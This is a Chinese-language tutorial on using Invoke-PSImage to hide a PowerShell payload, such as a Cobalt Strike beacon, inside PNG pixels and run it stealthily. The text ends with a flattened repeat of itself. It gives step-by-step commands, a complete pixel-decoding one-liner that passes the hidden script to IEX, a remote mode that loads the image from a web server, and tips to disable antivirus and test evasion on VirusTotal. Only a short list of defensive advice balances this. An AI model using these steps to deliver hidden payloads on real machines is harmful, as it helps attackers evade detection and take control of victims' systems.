利用Invoke-PSImage进行Powershell Bypass上线
字数 1056 2025-08-09 18:44:12

Invoke-PSImage 工具使用指南:通过PNG图像隐藏并执行Powershell脚本

工具概述

Invoke-PSImage 是一款能够将 Powershell 脚本嵌入 PNG 图像像素中的工具,它可以生成一行命令用于执行隐藏在图像中的脚本。这种方法常用于渗透测试中的绕过检测和隐蔽执行。

核心功能

  • 将 Powershell 脚本嵌入 PNG 图像的像素中
  • 生成执行命令,可从本地或网络加载并执行隐藏的脚本
  • 支持大多数图像类型作为输入(输出必须为PNG格式)

关键参数说明

参数 描述
-Script 指定要嵌入的 Powershell 脚本路径
-Image 指定用于嵌入脚本的源图像路径
-Out 指定输出PNG文件的路径
-Web 生成使用Net.WebClient从web读取图像的命令

准备工作

  1. 关闭杀毒软件:生成文件时可能会被拦截
  2. 准备Payload:从Cobalt Strike或其他工具生成powershell脚本(payload.ps1)
  3. 选择合适图像:图像像素数必须大于脚本字节数(每个像素存储1字节脚本数据)

使用教程

方法一:本地图像执行

  1. 执行嵌入命令:
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\shell.jpg -Out .\shell.png
  1. 生成的执行命令示例:
sal a New-Object;Add-Type -A System.Drawing; $g =a System.Drawing.Bitmap( "E:\Desktop\shell.png" ); $o =a Byte[] 4320 ;( 0..3 )|%{ foreach ( $x in( 0..1079 )){ $p = $g.GetPixel( $x , $_ ); $o [ $_ * 1080 + $x ]=([math]::Floor(( $p.B-band15)* 16 )-bor( $p.G-band15))}}; $g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString( $o [ 0..3554 ]))
  1. 注意事项:
    • 确保命令中的图片路径正确
    • 可在VirusTotal等平台检查生成文件的检测率

方法二:远程图像执行

  1. 使用-Web参数生成命令:
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\shell.jpg -Out .\shell.png -Web
  1. 将生成的PNG文件上传到Web服务器

  2. 修改生成的命令中的URL为实际图片地址后执行

技术原理

  1. 数据隐藏:将脚本数据编码到PNG图像的像素中

    • 使用像素的B(蓝色)和G(绿色)通道的最低4位存储数据
    • 每个像素存储1字节信息(4位来自B通道,4位来自G通道)
  2. 数据提取:执行命令会:

    • 加载图像文件
    • 从像素中提取隐藏的数据
    • 将数据重组为原始脚本
    • 使用IEX(Invoke-Expression)执行脚本

防御建议

  1. 监控异常的图像文件加载行为
  2. 限制从网络下载并直接执行代码的行为
  3. 对可疑的Powershell命令进行审计
  4. 特别注意包含IEXNet.WebClient等敏感操作的命令

总结

Invoke-PSImage提供了一种隐蔽执行Powershell脚本的方法,通过将脚本隐藏在普通图像文件中,可以绕过一些安全检测机制。在渗透测试中,这种方法可以与其他工具配合使用,提高测试的隐蔽性和成功率。安全团队应了解此类技术以加强防御。

Invoke-PSImage 工具使用指南:通过PNG图像隐藏并执行Powershell脚本 工具概述 Invoke-PSImage 是一款能够将 Powershell 脚本嵌入 PNG 图像像素中的工具,它可以生成一行命令用于执行隐藏在图像中的脚本。这种方法常用于渗透测试中的绕过检测和隐蔽执行。 核心功能 将 Powershell 脚本嵌入 PNG 图像的像素中 生成执行命令,可从本地或网络加载并执行隐藏的脚本 支持大多数图像类型作为输入(输出必须为PNG格式) 关键参数说明 | 参数 | 描述 | |------|------| | -Script | 指定要嵌入的 Powershell 脚本路径 | | -Image | 指定用于嵌入脚本的源图像路径 | | -Out | 指定输出PNG文件的路径 | | -Web | 生成使用Net.WebClient从web读取图像的命令 | 准备工作 关闭杀毒软件 :生成文件时可能会被拦截 准备Payload :从Cobalt Strike或其他工具生成powershell脚本(payload.ps1) 选择合适图像 :图像像素数必须大于脚本字节数(每个像素存储1字节脚本数据) 使用教程 方法一:本地图像执行 执行嵌入命令: 生成的执行命令示例: 注意事项: 确保命令中的图片路径正确 可在VirusTotal等平台检查生成文件的检测率 方法二:远程图像执行 使用 -Web 参数生成命令: 将生成的PNG文件上传到Web服务器 修改生成的命令中的URL为实际图片地址后执行 技术原理 数据隐藏 :将脚本数据编码到PNG图像的像素中 使用像素的B(蓝色)和G(绿色)通道的最低4位存储数据 每个像素存储1字节信息(4位来自B通道,4位来自G通道) 数据提取 :执行命令会: 加载图像文件 从像素中提取隐藏的数据 将数据重组为原始脚本 使用 IEX (Invoke-Expression)执行脚本 防御建议 监控异常的图像文件加载行为 限制从网络下载并直接执行代码的行为 对可疑的Powershell命令进行审计 特别注意包含 IEX 、 Net.WebClient 等敏感操作的命令 总结 Invoke-PSImage提供了一种隐蔽执行Powershell脚本的方法,通过将脚本隐藏在普通图像文件中,可以绕过一些安全检测机制。在渗透测试中,这种方法可以与其他工具配合使用,提高测试的隐蔽性和成功率。安全团队应了解此类技术以加强防御。